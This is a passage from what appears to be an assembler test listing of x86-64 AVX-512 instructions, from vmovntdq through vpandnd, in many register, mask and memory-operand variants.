vmovntdq [rbx+rsi*8-256], zmm24
vmovntdqa xmm2, [rbx]
vmovntdqa xmm2, [rbx+rsi*8+256]
vmovntdqa xmm2, [rbx+rsi*8-256]
vmovntdqa ymm16, [rbx]
vmovntdqa ymm16, [rbx+rsi*8+256]
vmovntdqa ymm16, [rbx+rsi*8-256]
vmovntdqa zmm24, [rbx]
vmovntdqa zmm24, [rbx+rsi*8+256]
vmovntdqa zmm24, [rbx+rsi*8-256]
vmovntpd [rbx], xmm2
vmovntpd [rbx], ymm16
vmovntpd [rbx], zmm24
vmovntpd [rbx+rsi*8+256], xmm2
vmovntpd [rbx+rsi*8+256], ymm16
vmovntpd [rbx+rsi*8+256], zmm24
vmovntpd [rbx+rsi*8-256], xmm2
vmovntpd [rbx+rsi*8-256], ymm16
vmovntpd [rbx+rsi*8-256], zmm24
vmovntps [rbx], xmm2
vmovntps [rbx], ymm16
vmovntps [rbx], zmm24
vmovntps [rbx+rsi*8+256], xmm2
vmovntps [rbx+rsi*8+256], ymm16
vmovntps [rbx+rsi*8+256], zmm24
vmovntps [rbx+rsi*8-256], xmm2
vmovntps [rbx+rsi*8-256], ymm16
vmovntps [rbx+rsi*8-256], zmm24
vmovq xmm2, rcx
vmovq xmm2, [rbx]
vmovq xmm2, [rbx+rsi*8+256]
vmovq rcx, xmm2
vmovq [rbx], xmm2
vmovq [rbx+rsi*8+256], xmm2
vmovq xmm2, xmm0
vmovq xmm2, [rbx]
vmovq xmm2, [rbx+r11*8+256]
vmovq xmm2, [rbx+r11*8-256]
vmovq xmm0, xmm2
vmovq [rbx], xmm2
vmovq [rbx+r11*8+256], xmm2
vmovq [rbx+r11*8-256], xmm2
vmovsd xmm2, [rbx]
vmovsd xmm2, [rbx+rsi*8+256]
vmovsd xmm2, [rbx+rsi*8-256]
vmovsd xmm2{k5}, [rbx]
vmovsd xmm2{k5}, [rbx+rsi*8+256]
vmovsd xmm2{k5}, [rbx+rsi*8-256]
vmovsd xmm2{k5}{z}, [rbx]
vmovsd xmm2{k5}{z}, [rbx+rsi*8+256]
vmovsd xmm2{k5}{z}, [rbx+rsi*8-256]
vmovsd xmm2, xmm7, xmm0
vmovsd xmm2{k5}, xmm7, xmm0
vmovsd xmm2{k5}{z}, xmm7, xmm0
vmovsd [rbx], xmm2
vmovsd [rbx+rsi*8+256], xmm2
vmovsd [rbx+rsi*8-256], xmm2
vmovsd xmm0, xmm7, xmm2
vmovshdup xmm2, xmm0
vmovshdup xmm2, [rbx]
vmovshdup xmm2, [rbx+r11*8+256]
vmovshdup xmm2, [rbx+r11*8-256]
vmovshdup xmm2{k5}, xmm0
vmovshdup xmm2{k5}, [rbx]
vmovshdup xmm2{k5}, [rbx+r11*8+256]
vmovshdup xmm2{k5}, [rbx+r11*8-256]
vmovshdup xmm2{k5}{z}, xmm0
vmovshdup xmm2{k5}{z}, [rbx]
vmovshdup xmm2{k5}{z}, [rbx+r11*8+256]
vmovshdup xmm2{k5}{z}, [rbx+r11*8-256]
vmovshdup ymm16, ymm15
vmovshdup ymm16, [rbx]
vmovshdup ymm16, [rbx+r11*8+256]
vmovshdup ymm16, [rbx+r11*8-256]
vmovshdup ymm16{k5}, ymm15
vmovshdup ymm16{k5}, [rbx]
vmovshdup ymm16{k5}, [rbx+r11*8+256]
vmovshdup ymm16{k5}, [rbx+r11*8-256]
vmovshdup ymm16{k5}{z}, ymm15
vmovshdup ymm16{k5}{z}, [rbx]
vmovshdup ymm16{k5}{z}, [rbx+r11*8+256]
vmovshdup ymm16{k5}{z}, [rbx+r11*8-256]
vmovshdup zmm24, zmm31
vmovshdup zmm24, [rbx]
vmovshdup zmm24, [rbx+r11*8+256]
vmovshdup zmm24, [rbx+r11*8-256]
vmovshdup zmm24{k5}, zmm31
vmovshdup zmm24{k5}, [rbx]
vmovshdup zmm24{k5}, [rbx+r11*8+256]
vmovshdup zmm24{k5}, [rbx+r11*8-256]
vmovshdup zmm24{k5}{z}, zmm31
vmovshdup zmm24{k5}{z}, [rbx]
vmovshdup zmm24{k5}{z}, [rbx+r11*8+256]
vmovshdup zmm24{k5}{z}, [rbx+r11*8-256]
vmovsldup xmm2, xmm0
vmovsldup xmm2, [rbx]
vmovsldup xmm2, [rbx+r11*8+256]
vmovsldup xmm2, [rbx+r11*8-256]
vmovsldup xmm2{k5}, xmm0
vmovsldup xmm2{k5}, [rbx]
vmovsldup xmm2{k5}, [rbx+r11*8+256]
vmovsldup xmm2{k5}, [rbx+r11*8-256]
vmovsldup xmm2{k5}{z}, xmm0
vmovsldup xmm2{k5}{z}, [rbx]
vmovsldup xmm2{k5}{z}, [rbx+r11*8+256]
vmovsldup xmm2{k5}{z}, [rbx+r11*8-256]
vmovsldup ymm16, ymm15
vmovsldup ymm16, [rbx]
vmovsldup ymm16, [rbx+r11*8+256]
vmovsldup ymm16, [rbx+r11*8-256]
vmovsldup ymm16{k5}, ymm15
vmovsldup ymm16{k5}, [rbx]
vmovsldup ymm16{k5}, [rbx+r11*8+256]
vmovsldup ymm16{k5}, [rbx+r11*8-256]
vmovsldup ymm16{k5}{z}, ymm15
vmovsldup ymm16{k5}{z}, [rbx]
vmovsldup ymm16{k5}{z}, [rbx+r11*8+256]
vmovsldup ymm16{k5}{z}, [rbx+r11*8-256]
vmovsldup zmm24, zmm31
vmovsldup zmm24, [rbx]
vmovsldup zmm24, [rbx+r11*8+256]
vmovsldup zmm24, [rbx+r11*8-256]
vmovsldup zmm24{k5}, zmm31
vmovsldup zmm24{k5}, [rbx]
vmovsldup zmm24{k5}, [rbx+r11*8+256]
vmovsldup zmm24{k5}, [rbx+r11*8-256]
vmovsldup zmm24{k5}{z}, zmm31
vmovsldup zmm24{k5}{z}, [rbx]
vmovsldup zmm24{k5}{z}, [rbx+r11*8+256]
vmovsldup zmm24{k5}{z}, [rbx+r11*8-256]
vmovss xmm2, [rbx]
vmovss xmm2, [rbx+rsi*8+256]
vmovss xmm2, [rbx+rsi*8-256]
vmovss xmm2{k5}, [rbx]
vmovss xmm2{k5}, [rbx+rsi*8+256]
vmovss xmm2{k5}, [rbx+rsi*8-256]
vmovss xmm2{k5}{z}, [rbx]
vmovss xmm2{k5}{z}, [rbx+rsi*8+256]
vmovss xmm2{k5}{z}, [rbx+rsi*8-256]
vmovss xmm2, xmm7, xmm0
vmovss xmm2{k5}, xmm7, xmm0
vmovss xmm2{k5}{z}, xmm7, xmm0
vmovss [rbx], xmm2
vmovss [rbx+rsi*8+256], xmm2
vmovss [rbx+rsi*8-256], xmm2
vmovss xmm0, xmm7, xmm2
vmovupd xmm2, xmm0
vmovupd xmm2, [rbx]
vmovupd xmm2, [rbx+r11*8+256]
vmovupd xmm2, [rbx+r11*8-256]
vmovupd xmm2{k5}, xmm0
vmovupd xmm2{k5}, [rbx]
vmovupd xmm2{k5}, [rbx+r11*8+256]
vmovupd xmm2{k5}, [rbx+r11*8-256]
vmovupd xmm2{k5}{z}, xmm0
vmovupd xmm2{k5}{z}, [rbx]
vmovupd xmm2{k5}{z}, [rbx+r11*8+256]
vmovupd xmm2{k5}{z}, [rbx+r11*8-256]
vmovupd ymm16, ymm15
vmovupd ymm16, [rbx]
vmovupd ymm16, [rbx+r11*8+256]
vmovupd ymm16, [rbx+r11*8-256]
vmovupd ymm16{k5}, ymm15
vmovupd ymm16{k5}, [rbx]
vmovupd ymm16{k5}, [rbx+r11*8+256]
vmovupd ymm16{k5}, [rbx+r11*8-256]
vmovupd ymm16{k5}{z}, ymm15
vmovupd ymm16{k5}{z}, [rbx]
vmovupd ymm16{k5}{z}, [rbx+r11*8+256]
vmovupd ymm16{k5}{z}, [rbx+r11*8-256]
vmovupd zmm24, zmm31
vmovupd zmm24, [rbx]
vmovupd zmm24, [rbx+r11*8+256]
vmovupd zmm24, [rbx+r11*8-256]
vmovupd zmm24{k5}, zmm31
vmovupd zmm24{k5}, [rbx]
vmovupd zmm24{k5}, [rbx+r11*8+256]
vmovupd zmm24{k5}, [rbx+r11*8-256]
vmovupd zmm24{k5}{z}, zmm31
vmovupd zmm24{k5}{z}, [rbx]
vmovupd zmm24{k5}{z}, [rbx+r11*8+256]
vmovupd zmm24{k5}{z}, [rbx+r11*8-256]
vmovupd xmm0, xmm2
vmovupd ymm15, ymm16
vmovupd zmm31, zmm24
vmovupd [rbx], xmm2
vmovupd [rbx], ymm16
vmovupd [rbx], zmm24
vmovupd [rbx+r11*8+256], xmm2
vmovupd [rbx+r11*8+256], ymm16
vmovupd [rbx+r11*8+256], zmm24
vmovupd [rbx+r11*8-256], xmm2
vmovupd [rbx+r11*8-256], ymm16
vmovupd [rbx+r11*8-256], zmm24
vmovups xmm2, xmm0
vmovups xmm2, [rbx]
vmovups xmm2, [rbx+r11*8+256]
vmovups xmm2, [rbx+r11*8-256]
vmovups xmm2{k5}, xmm0
vmovups xmm2{k5}, [rbx]
vmovups xmm2{k5}, [rbx+r11*8+256]
vmovups xmm2{k5}, [rbx+r11*8-256]
vmovups xmm2{k5}{z}, xmm0
vmovups xmm2{k5}{z}, [rbx]
vmovups xmm2{k5}{z}, [rbx+r11*8+256]
vmovups xmm2{k5}{z}, [rbx+r11*8-256]
vmovups ymm16, ymm15
vmovups ymm16, [rbx]
vmovups ymm16, [rbx+r11*8+256]
vmovups ymm16, [rbx+r11*8-256]
vmovups ymm16{k5}, ymm15
vmovups ymm16{k5}, [rbx]
vmovups ymm16{k5}, [rbx+r11*8+256]
vmovups ymm16{k5}, [rbx+r11*8-256]
vmovups ymm16{k5}{z}, ymm15
vmovups ymm16{k5}{z}, [rbx]
vmovups ymm16{k5}{z}, [rbx+r11*8+256]
vmovups ymm16{k5}{z}, [rbx+r11*8-256]
vmovups zmm24, zmm31
vmovups zmm24, [rbx]
vmovups zmm24, [rbx+r11*8+256]
vmovups zmm24, [rbx+r11*8-256]
vmovups zmm24{k5}, zmm31
vmovups zmm24{k5}, [rbx]
vmovups zmm24{k5}, [rbx+r11*8+256]
vmovups zmm24{k5}, [rbx+r11*8-256]
vmovups zmm24{k5}{z}, zmm31
vmovups zmm24{k5}{z}, [rbx]
vmovups zmm24{k5}{z}, [rbx+r11*8+256]
vmovups zmm24{k5}{z}, [rbx+r11*8-256]
vmovups xmm0, xmm2
vmovups ymm15, ymm16
vmovups zmm31, zmm24
vmovups [rbx], xmm2
vmovups [rbx], ymm16
vmovups [rbx], zmm24
vmovups [rbx+r11*8+256], xmm2
vmovups [rbx+r11*8+256], ymm16
vmovups [rbx+r11*8+256], zmm24
vmovups [rbx+r11*8-256], xmm2
vmovups [rbx+r11*8-256], ymm16
vmovups [rbx+r11*8-256], zmm24
vmulpd xmm2, xmm7, xmm0
vmulpd xmm2, xmm7, [rbx]
vmulpd xmm2, xmm7, [rbx]{1to2}
vmulpd xmm2, xmm7, [rbx+r11*8+256]
vmulpd xmm2, xmm7, [rbx+r11*8-256]
vmulpd xmm2{k5}, xmm7, xmm0
vmulpd xmm2{k5}, xmm7, [rbx]
vmulpd xmm2{k5}, xmm7, [rbx]{1to2}
vmulpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vmulpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vmulpd xmm2{k5}{z}, xmm7, xmm0
vmulpd xmm2{k5}{z}, xmm7, [rbx]
vmulpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vmulpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmulpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmulpd ymm16, ymm13, ymm15
vmulpd ymm16, ymm13, [rbx]
vmulpd ymm16, ymm13, [rbx]{1to4}
vmulpd ymm16, ymm13, [rbx+r11*8+256]
vmulpd ymm16, ymm13, [rbx+r11*8-256]
vmulpd ymm16{k5}, ymm13, ymm15
vmulpd ymm16{k5}, ymm13, [rbx]
vmulpd ymm16{k5}, ymm13, [rbx]{1to4}
vmulpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vmulpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vmulpd ymm16{k5}{z}, ymm13, ymm15
vmulpd ymm16{k5}{z}, ymm13, [rbx]
vmulpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vmulpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vmulpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vmulpd zmm24, zmm24, zmm31
vmulpd zmm24, zmm24, zmm31, {rd-sae}
vmulpd zmm24, zmm24, [rbx]
vmulpd zmm24, zmm24, [rbx]{1to8}
vmulpd zmm24, zmm24, [rbx+r11*8+256]
vmulpd zmm24, zmm24, [rbx+r11*8-256]
vmulpd zmm24{k5}, zmm24, zmm31
vmulpd zmm24{k5}, zmm24, zmm31, {rd-sae}
vmulpd zmm24{k5}, zmm24, [rbx]
vmulpd zmm24{k5}, zmm24, [rbx]{1to8}
vmulpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vmulpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vmulpd zmm24{k5}{z}, zmm24, zmm31
vmulpd zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vmulpd zmm24{k5}{z}, zmm24, [rbx]
vmulpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vmulpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vmulpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vmulps xmm2, xmm7, xmm0
vmulps xmm2, xmm7, [rbx]
vmulps xmm2, xmm7, [rbx]{1to4}
vmulps xmm2, xmm7, [rbx+r11*8+256]
vmulps xmm2, xmm7, [rbx+r11*8-256]
vmulps xmm2{k5}, xmm7, xmm0
vmulps xmm2{k5}, xmm7, [rbx]
vmulps xmm2{k5}, xmm7, [rbx]{1to4}
vmulps xmm2{k5}, xmm7, [rbx+r11*8+256]
vmulps xmm2{k5}, xmm7, [rbx+r11*8-256]
vmulps xmm2{k5}{z}, xmm7, xmm0
vmulps xmm2{k5}{z}, xmm7, [rbx]
vmulps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vmulps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmulps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmulps ymm16, ymm13, ymm15
vmulps ymm16, ymm13, [rbx]
vmulps ymm16, ymm13, [rbx]{1to8}
vmulps ymm16, ymm13, [rbx+r11*8+256]
vmulps ymm16, ymm13, [rbx+r11*8-256]
vmulps ymm16{k5}, ymm13, ymm15
vmulps ymm16{k5}, ymm13, [rbx]
vmulps ymm16{k5}, ymm13, [rbx]{1to8}
vmulps ymm16{k5}, ymm13, [rbx+r11*8+256]
vmulps ymm16{k5}, ymm13, [rbx+r11*8-256]
vmulps ymm16{k5}{z}, ymm13, ymm15
vmulps ymm16{k5}{z}, ymm13, [rbx]
vmulps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vmulps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vmulps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vmulps zmm24, zmm24, zmm31
vmulps zmm24, zmm24, zmm31, {rd-sae}
vmulps zmm24, zmm24, [rbx]
vmulps zmm24, zmm24, [rbx]{1to16}
vmulps zmm24, zmm24, [rbx+r11*8+256]
vmulps zmm24, zmm24, [rbx+r11*8-256]
vmulps zmm24{k5}, zmm24, zmm31
vmulps zmm24{k5}, zmm24, zmm31, {rd-sae}
vmulps zmm24{k5}, zmm24, [rbx]
vmulps zmm24{k5}, zmm24, [rbx]{1to16}
vmulps zmm24{k5}, zmm24, [rbx+r11*8+256]
vmulps zmm24{k5}, zmm24, [rbx+r11*8-256]
vmulps zmm24{k5}{z}, zmm24, zmm31
vmulps zmm24{k5}{z}, zmm24, zmm31, {rd-sae}
vmulps zmm24{k5}{z}, zmm24, [rbx]
vmulps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vmulps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vmulps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vmulsd xmm2, xmm7, xmm0
vmulsd xmm2, xmm7, xmm0, {rd-sae}
vmulsd xmm2, xmm7, [rbx]
vmulsd xmm2, xmm7, [rbx+r11*8+256]
vmulsd xmm2, xmm7, [rbx+r11*8-256]
vmulsd xmm2{k5}, xmm7, xmm0
vmulsd xmm2{k5}, xmm7, xmm0, {rd-sae}
vmulsd xmm2{k5}, xmm7, [rbx]
vmulsd xmm2{k5}, xmm7, [rbx+r11*8+256]
vmulsd xmm2{k5}, xmm7, [rbx+r11*8-256]
vmulsd xmm2{k5}{z}, xmm7, xmm0
vmulsd xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vmulsd xmm2{k5}{z}, xmm7, [rbx]
vmulsd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmulsd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vmulss xmm2, xmm7, xmm0
vmulss xmm2, xmm7, xmm0, {rd-sae}
vmulss xmm2, xmm7, [rbx]
vmulss xmm2, xmm7, [rbx+r11*8+256]
vmulss xmm2, xmm7, [rbx+r11*8-256]
vmulss xmm2{k5}, xmm7, xmm0
vmulss xmm2{k5}, xmm7, xmm0, {rd-sae}
vmulss xmm2{k5}, xmm7, [rbx]
vmulss xmm2{k5}, xmm7, [rbx+r11*8+256]
vmulss xmm2{k5}, xmm7, [rbx+r11*8-256]
vmulss xmm2{k5}{z}, xmm7, xmm0
vmulss xmm2{k5}{z}, xmm7, xmm0, {rd-sae}
vmulss xmm2{k5}{z}, xmm7, [rbx]
vmulss xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vmulss xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpabsd xmm2, xmm0
vpabsd xmm2, [rbx]
vpabsd xmm2, [rbx]{1to4}
vpabsd xmm2, [rbx+r11*8+256]
vpabsd xmm2, [rbx+r11*8-256]
vpabsd xmm2{k5}, xmm0
vpabsd xmm2{k5}, [rbx]
vpabsd xmm2{k5}, [rbx]{1to4}
vpabsd xmm2{k5}, [rbx+r11*8+256]
vpabsd xmm2{k5}, [rbx+r11*8-256]
vpabsd xmm2{k5}{z}, xmm0
vpabsd xmm2{k5}{z}, [rbx]
vpabsd xmm2{k5}{z}, [rbx]{1to4}
vpabsd xmm2{k5}{z}, [rbx+r11*8+256]
vpabsd xmm2{k5}{z}, [rbx+r11*8-256]
vpabsd ymm16, ymm15
vpabsd ymm16, [rbx]
vpabsd ymm16, [rbx]{1to8}
vpabsd ymm16, [rbx+r11*8+256]
vpabsd ymm16, [rbx+r11*8-256]
vpabsd ymm16{k5}, ymm15
vpabsd ymm16{k5}, [rbx]
vpabsd ymm16{k5}, [rbx]{1to8}
vpabsd ymm16{k5}, [rbx+r11*8+256]
vpabsd ymm16{k5}, [rbx+r11*8-256]
vpabsd ymm16{k5}{z}, ymm15
vpabsd ymm16{k5}{z}, [rbx]
vpabsd ymm16{k5}{z}, [rbx]{1to8}
vpabsd ymm16{k5}{z}, [rbx+r11*8+256]
vpabsd ymm16{k5}{z}, [rbx+r11*8-256]
vpabsd zmm24, zmm31
vpabsd zmm24, [rbx]
vpabsd zmm24, [rbx]{1to16}
vpabsd zmm24, [rbx+r11*8+256]
vpabsd zmm24, [rbx+r11*8-256]
vpabsd zmm24{k5}, zmm31
vpabsd zmm24{k5}, [rbx]
vpabsd zmm24{k5}, [rbx]{1to16}
vpabsd zmm24{k5}, [rbx+r11*8+256]
vpabsd zmm24{k5}, [rbx+r11*8-256]
vpabsd zmm24{k5}{z}, zmm31
vpabsd zmm24{k5}{z}, [rbx]
vpabsd zmm24{k5}{z}, [rbx]{1to16}
vpabsd zmm24{k5}{z}, [rbx+r11*8+256]
vpabsd zmm24{k5}{z}, [rbx+r11*8-256]
vpabsq xmm2, xmm0
vpabsq xmm2, [rbx]
vpabsq xmm2, [rbx]{1to2}
vpabsq xmm2, [rbx+r11*8+256]
vpabsq xmm2, [rbx+r11*8-256]
vpabsq xmm2{k5}, xmm0
vpabsq xmm2{k5}, [rbx]
vpabsq xmm2{k5}, [rbx]{1to2}
vpabsq xmm2{k5}, [rbx+r11*8+256]
vpabsq xmm2{k5}, [rbx+r11*8-256]
vpabsq xmm2{k5}{z}, xmm0
vpabsq xmm2{k5}{z}, [rbx]
vpabsq xmm2{k5}{z}, [rbx]{1to2}
vpabsq xmm2{k5}{z}, [rbx+r11*8+256]
vpabsq xmm2{k5}{z}, [rbx+r11*8-256]
vpabsq ymm16, ymm15
vpabsq ymm16, [rbx]
vpabsq ymm16, [rbx]{1to4}
vpabsq ymm16, [rbx+r11*8+256]
vpabsq ymm16, [rbx+r11*8-256]
vpabsq ymm16{k5}, ymm15
vpabsq ymm16{k5}, [rbx]
vpabsq ymm16{k5}, [rbx]{1to4}
vpabsq ymm16{k5}, [rbx+r11*8+256]
vpabsq ymm16{k5}, [rbx+r11*8-256]
vpabsq ymm16{k5}{z}, ymm15
vpabsq ymm16{k5}{z}, [rbx]
vpabsq ymm16{k5}{z}, [rbx]{1to4}
vpabsq ymm16{k5}{z}, [rbx+r11*8+256]
vpabsq ymm16{k5}{z}, [rbx+r11*8-256]
vpabsq zmm24, zmm31
vpabsq zmm24, [rbx]
vpabsq zmm24, [rbx]{1to8}
vpabsq zmm24, [rbx+r11*8+256]
vpabsq zmm24, [rbx+r11*8-256]
vpabsq zmm24{k5}, zmm31
vpabsq zmm24{k5}, [rbx]
vpabsq zmm24{k5}, [rbx]{1to8}
vpabsq zmm24{k5}, [rbx+r11*8+256]
vpabsq zmm24{k5}, [rbx+r11*8-256]
vpabsq zmm24{k5}{z}, zmm31
vpabsq zmm24{k5}{z}, [rbx]
vpabsq zmm24{k5}{z}, [rbx]{1to8}
vpabsq zmm24{k5}{z}, [rbx+r11*8+256]
vpabsq zmm24{k5}{z}, [rbx+r11*8-256]
vpaddd xmm2, xmm7, xmm0
vpaddd xmm2, xmm7, [rbx]
vpaddd xmm2, xmm7, [rbx]{1to4}
vpaddd xmm2, xmm7, [rbx+r11*8+256]
vpaddd xmm2, xmm7, [rbx+r11*8-256]
vpaddd xmm2{k5}, xmm7, xmm0
vpaddd xmm2{k5}, xmm7, [rbx]
vpaddd xmm2{k5}, xmm7, [rbx]{1to4}
vpaddd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpaddd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpaddd xmm2{k5}{z}, xmm7, xmm0
vpaddd xmm2{k5}{z}, xmm7, [rbx]
vpaddd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpaddd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpaddd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpaddd ymm16, ymm13, ymm15
vpaddd ymm16, ymm13, [rbx]
vpaddd ymm16, ymm13, [rbx]{1to8}
vpaddd ymm16, ymm13, [rbx+r11*8+256]
vpaddd ymm16, ymm13, [rbx+r11*8-256]
vpaddd ymm16{k5}, ymm13, ymm15
vpaddd ymm16{k5}, ymm13, [rbx]
vpaddd ymm16{k5}, ymm13, [rbx]{1to8}
vpaddd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpaddd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpaddd ymm16{k5}{z}, ymm13, ymm15
vpaddd ymm16{k5}{z}, ymm13, [rbx]
vpaddd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpaddd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpaddd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpaddd zmm24, zmm24, zmm31
vpaddd zmm24, zmm24, [rbx]
vpaddd zmm24, zmm24, [rbx]{1to16}
vpaddd zmm24, zmm24, [rbx+r11*8+256]
vpaddd zmm24, zmm24, [rbx+r11*8-256]
vpaddd zmm24{k5}, zmm24, zmm31
vpaddd zmm24{k5}, zmm24, [rbx]
vpaddd zmm24{k5}, zmm24, [rbx]{1to16}
vpaddd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpaddd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpaddd zmm24{k5}{z}, zmm24, zmm31
vpaddd zmm24{k5}{z}, zmm24, [rbx]
vpaddd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpaddd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpaddd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpaddq xmm2, xmm7, xmm0
vpaddq xmm2, xmm7, [rbx]
vpaddq xmm2, xmm7, [rbx]{1to2}
vpaddq xmm2, xmm7, [rbx+r11*8+256]
vpaddq xmm2, xmm7, [rbx+r11*8-256]
vpaddq xmm2{k5}, xmm7, xmm0
vpaddq xmm2{k5}, xmm7, [rbx]
vpaddq xmm2{k5}, xmm7, [rbx]{1to2}
vpaddq xmm2{k5}, xmm7, [rbx+r11*8+256]
vpaddq xmm2{k5}, xmm7, [rbx+r11*8-256]
vpaddq xmm2{k5}{z}, xmm7, xmm0
vpaddq xmm2{k5}{z}, xmm7, [rbx]
vpaddq xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpaddq xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpaddq xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpaddq ymm16, ymm13, ymm15
vpaddq ymm16, ymm13, [rbx]
vpaddq ymm16, ymm13, [rbx]{1to4}
vpaddq ymm16, ymm13, [rbx+r11*8+256]
vpaddq ymm16, ymm13, [rbx+r11*8-256]
vpaddq ymm16{k5}, ymm13, ymm15
vpaddq ymm16{k5}, ymm13, [rbx]
vpaddq ymm16{k5}, ymm13, [rbx]{1to4}
vpaddq ymm16{k5}, ymm13, [rbx+r11*8+256]
vpaddq ymm16{k5}, ymm13, [rbx+r11*8-256]
vpaddq ymm16{k5}{z}, ymm13, ymm15
vpaddq ymm16{k5}{z}, ymm13, [rbx]
vpaddq ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpaddq ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpaddq ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpaddq zmm24, zmm24, zmm31
vpaddq zmm24, zmm24, [rbx]
vpaddq zmm24, zmm24, [rbx]{1to8}
vpaddq zmm24, zmm24, [rbx+r11*8+256]
vpaddq zmm24, zmm24, [rbx+r11*8-256]
vpaddq zmm24{k5}, zmm24, zmm31
vpaddq zmm24{k5}, zmm24, [rbx]
vpaddq zmm24{k5}, zmm24, [rbx]{1to8}
vpaddq zmm24{k5}, zmm24, [rbx+r11*8+256]
vpaddq zmm24{k5}, zmm24, [rbx+r11*8-256]
vpaddq zmm24{k5}{z}, zmm24, zmm31
vpaddq zmm24{k5}{z}, zmm24, [rbx]
vpaddq zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpaddq zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpaddq zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpandd xmm2, xmm7, xmm0
vpandd xmm2, xmm7, [rbx]
vpandd xmm2, xmm7, [rbx]{1to4}
vpandd xmm2, xmm7, [rbx+r11*8+256]
vpandd xmm2, xmm7, [rbx+r11*8-256]
vpandd xmm2{k5}, xmm7, xmm0
vpandd xmm2{k5}, xmm7, [rbx]
vpandd xmm2{k5}, xmm7, [rbx]{1to4}
vpandd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpandd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpandd xmm2{k5}{z}, xmm7, xmm0
vpandd xmm2{k5}{z}, xmm7, [rbx]
vpandd xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpandd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpandd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpandd ymm16, ymm13, ymm15
vpandd ymm16, ymm13, [rbx]
vpandd ymm16, ymm13, [rbx]{1to8}
vpandd ymm16, ymm13, [rbx+r11*8+256]
vpandd ymm16, ymm13, [rbx+r11*8-256]
vpandd ymm16{k5}, ymm13, ymm15
vpandd ymm16{k5}, ymm13, [rbx]
vpandd ymm16{k5}, ymm13, [rbx]{1to8}
vpandd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpandd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpandd ymm16{k5}{z}, ymm13, ymm15
vpandd ymm16{k5}{z}, ymm13, [rbx]
vpandd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpandd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpandd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpandd zmm24, zmm24, zmm31
vpandd zmm24, zmm24, [rbx]
vpandd zmm24, zmm24, [rbx]{1to16}
vpandd zmm24, zmm24, [rbx+r11*8+256]
vpandd zmm24, zmm24, [rbx+r11*8-256]
vpandd zmm24{k5}, zmm24, zmm31
vpandd zmm24{k5}, zmm24, [rbx]
vpandd zmm24{k5}, zmm24, [rbx]{1to16}
vpandd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpandd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpandd zmm24{k5}{z}, zmm24, zmm31
vpandd zmm24{k5}{z}, zmm24, [rbx]
vpandd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpandd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpandd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpandnd xmm2, xmm7, xmm0
vpandnd xmm2, xmm7, [rbx]
vpandnd xmm2, xmm7, [rbx]{1to4}
vpandnd xmm2, xmm7, [rbx+r11*8+256]
vpandnd xmm2, xmm7, [rbx+r11*8-256]
vpandnd xmm2{k5}, xmm7, xmm0
vpandnd xmm2{k5}, xmm7, [rbx]
vpandnd xmm2{k5}, xmm7, [rbx]{1to4}
vpandnd xmm2{k5}, xmm7, [rbx+r11*8+256]
